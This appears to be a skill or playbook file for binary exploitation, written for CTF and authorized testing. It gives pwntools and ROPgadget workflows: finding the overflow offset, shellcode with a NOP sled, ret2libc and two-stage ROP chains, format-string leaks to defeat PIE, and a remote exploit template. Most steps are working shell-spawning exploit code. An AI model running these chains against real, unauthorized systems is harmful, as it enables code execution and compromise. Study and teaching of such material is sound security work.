| name | performing-binary-exploitation-analysis |
| description | 'Analyze binary exploitation techniques including buffer overflows and ROP chains using pwntools Python library. Covers checksec analysis, gadget discovery with ROPgadget, and exploit development for CTF and authorized security assessments. ' |
| domain | cybersecurity |
| subdomain | offensive-security |
| tags | - binary-exploitation - pwntools - rop-chains - buffer-overflow |
| version | '1.0' |
| author | mahipal |
| license | Apache-2.0 |
| nist_csf | - ID.RA-01 - GV.OV-02 - DE.AE-07 |
Performing Binary Exploitation Analysis
For authorized security testing and CTF challenges only.
Analyze ELF binaries for exploitation vectors using checksec, ROPgadget,
and pwntools for buffer overflow and ROP chain development.
When to Use
- Analyzing ELF binaries during authorized penetration tests to identify memory corruption vulnerabilities
- Solving binary exploitation challenges in CTF competitions
- Evaluating the effectiveness of compiler mitigations (NX, ASLR, stack canaries, PIE, RELRO) on target binaries
- Developing proof-of-concept exploits for vulnerability reports to demonstrate impact
- Training security engineers in exploit development techniques for defensive awareness
- Validating that security patches for buffer overflow vulnerabilities are effective
Do not use against systems without explicit written authorization. Binary exploitation techniques can cause system instability and must only be applied in controlled environments (lab VMs, CTF platforms, authorized pentests with scope documents).
Prerequisites
- Linux system (Ubuntu/Debian recommended) for exploit development
- Python 3.8+ with
pwntools (pip install pwntools)
- GDB with
pwndbg or GEF plugin for enhanced debugging
ROPgadget for ROP chain gadget discovery (pip install ROPgadget)
checksec (included with pwntools or standalone via apt install checksec)
- Target vulnerable binary compiled for testing (e.g., from pwnable.kr, ROP Emporium, or custom test binaries)
- Basic understanding of x86/x86_64 calling conventions and stack layout
Workflow
Step 1: Install the Exploitation Toolkit
pip install pwntools ROPgadget
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh
sudo apt install -y gdb nasm gcc-multilib libc6-dbg
python3 -c "from pwn import *; print('pwntools version:', version)"
checksec --version
ROPgadget --version
Step 2: Analyze Binary Protections with checksec
Before writing any exploit, enumerate the security mitigations compiled into the binary:
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
print(f"Architecture: {elf.arch}")
print(f"Bits: {elf.bits}")
print(f"Endianness: {elf.endian}")
print()
checksec --file=./vulnerable_server
cat /proc/sys/kernel/randomize_va_space
Step 3: Find the Buffer Overflow Offset
Determine exactly how many bytes are needed to overwrite the return address:
from pwn import *
context.binary = ELF("./vulnerable_server")
context.log_level = "info"
pattern_length = 200
pattern = cyclic(pattern_length)
print(f"Generated cyclic pattern of length {pattern_length}")
p = process("./vulnerable_server")
p.sendline(pattern)
p.wait()
crashed_rip = 0x6161616c
offset = cyclic_find(crashed_rip)
print(f"Offset to return address: {offset} bytes")
Step 4: Exploit a Stack Buffer Overflow (NX Disabled)
When NX is disabled, inject and execute shellcode directly on the stack:
from pwn import *
binary_path = "./vulnerable_server"
context.binary = ELF(binary_path)
context.arch = "amd64"
OFFSET = 72
shellcode = asm(shellcraft.sh())
print(f"Shellcode length: {len(shellcode)} bytes")
nop_sled = asm("nop") * 32
buffer_addr = 0x7fffffffe000
padding_len = OFFSET - len(nop_sled) - len(shellcode)
payload = nop_sled + shellcode + b"A" * padding_len + p64(buffer_addr)
p = process(binary_path)
p.sendline(payload)
p.interactive()
Step 5: Build a ROP Chain (NX Enabled)
When NX prevents stack code execution, chain existing code gadgets (Return-Oriented Programming):
ROPgadget --binary ./vulnerable_server
ROPgadget --binary ./vulnerable_server --only "pop|ret"
ROPgadget --binary ./vulnerable_server --only "mov|ret"
ROPgadget --binary ./vulnerable_server | grep "pop rdi"
ROPgadget --binary ./vulnerable_server | grep "pop rsi"
ROPgadget --binary ./vulnerable_server | grep "pop rdx"
ROPgadget --binary ./vulnerable_server | grep "syscall"
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | head -20
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process(binary_path)
p.recvuntil(b"puts address: ")
puts_leak = int(p.recvline().strip(), 16)
libc.address = puts_leak - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
pop_rdi = elf.search(asm("pop rdi; ret")).__next__()
ret_gadget = elf.search(asm("ret")).__next__()
bin_sh_addr = next(libc.search(b"/bin/sh\x00"))
system_addr = libc.symbols["system"]
rop_chain = flat(
b"A" * OFFSET,
ret_gadget,
pop_rdi,
bin_sh_addr,
system_addr,
)
p.sendline(rop_chain)
p.interactive()
Step 6: Use pwntools ROP Helper for Automated Chain Building
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
OFFSET = 72
rop = ROP(elf)
rop.call("puts", [elf.got["puts"]])
rop.call(elf.symbols["main"])
print(rop.dump())
stage1 = flat(
b"A" * OFFSET,
rop.chain()
)
p = process(binary_path)
p.sendline(stage1)
p.recvuntil(b"\n")
leaked_puts = u64(p.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts@GOT: {hex(leaked_puts)}")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked_puts - libc.symbols["puts"]
log.success(f"libc base: {hex(libc.address)}")
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
stage2 = flat(
b"A" * OFFSET,
rop2.chain()
)
p.sendline(stage2)
p.interactive()
Step 7: Debug Exploits with GDB and pwndbg
from pwn import *
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
context.terminal = ["tmux", "splitw", "-h"]
p = gdb.debug(binary_path, """
# Set breakpoints at key locations
break *main
break *main+85
# Continue to the vulnerable function
continue
""")
OFFSET = 72
payload = b"A" * OFFSET + p64(0xdeadbeef)
p.sendline(payload)
p.interactive()
Step 8: Handle PIE and ASLR with Information Leaks
from pwn import *
binary_path = "./vulnerable_pie_binary"
elf = ELF(binary_path)
context.binary = elf
p = process(binary_path)
p.sendline(b"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p")
leak_output = p.recvline().strip().decode()
leaked_addrs = leak_output.split(".")
for i, addr in enumerate(leaked_addrs):
try:
val = int(addr, 16)
if 0x550000000000 <= val <= 0x560000000000:
log.info(f"Offset {i}: {addr} (likely PIE code address)")
elif 0x7f0000000000 <= val <= 0x800000000000:
log.info(f"Offset {i}: {addr} (likely libc address)")
except ValueError:
continue
leaked_code_addr = int(leaked_addrs[5], 16)
elf.address = leaked_code_addr - elf.symbols["main"]
log.success(f"PIE base: {hex(elf.address)}")
rop = ROP(elf)
Step 9: Exploit a Remote Target
from pwn import *
REMOTE_HOST = "target.ctf.example.com"
REMOTE_PORT = 9001
binary_path = "./vulnerable_server"
elf = ELF(binary_path)
context.binary = elf
def exploit(target):
"""Run the full exploit chain against a target (local or remote)."""
OFFSET = 72
rop1 = ROP(elf)
rop1.call("puts", [elf.got["puts"]])
rop1.call(elf.symbols["main"])
payload1 = flat(b"A" * OFFSET, rop1.chain())
target.sendlineafter(b"Input: ", payload1)
leaked = u64(target.recvline().strip().ljust(8, b"\x00"))
log.success(f"Leaked puts: {hex(leaked)}")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc.address = leaked - libc.symbols["puts"]
rop2 = ROP(libc)
rop2.call("execve", [next(libc.search(b"/bin/sh\x00")), 0, 0])
payload2 = flat(b"A" * OFFSET, rop2.chain())
target.sendlineafter(b"Input: ", payload2)
target.interactive()
log.info("Testing exploit locally...")
local = process(binary_path)
exploit(local)
Verification
- Confirm
checksec correctly identifies all binary mitigations (NX, canary, PIE, RELRO) and results match manual inspection
- Verify the cyclic pattern offset finder produces the correct offset by setting a breakpoint at the
ret instruction and confirming RIP/EIP contains the expected cyclic value
- Test shellcode payloads execute correctly in a controlled environment with NX disabled
- Validate ROP chains by single-stepping through gadgets in GDB to confirm register values are set correctly before the final syscall/function call
- Confirm the exploit works both locally (
process()) and against a remote target (remote()) when the correct libc version is used
- Verify that PIE bypass correctly rebases all addresses by checking GDB
vmmap output against calculated addresses
- Test that the exploit fails gracefully when mitigations are re-enabled (confirms the exploit targets the correct weakness)
- Run
ROPgadget output through a deduplication filter to confirm all referenced gadgets exist at the specified offsets in the target binary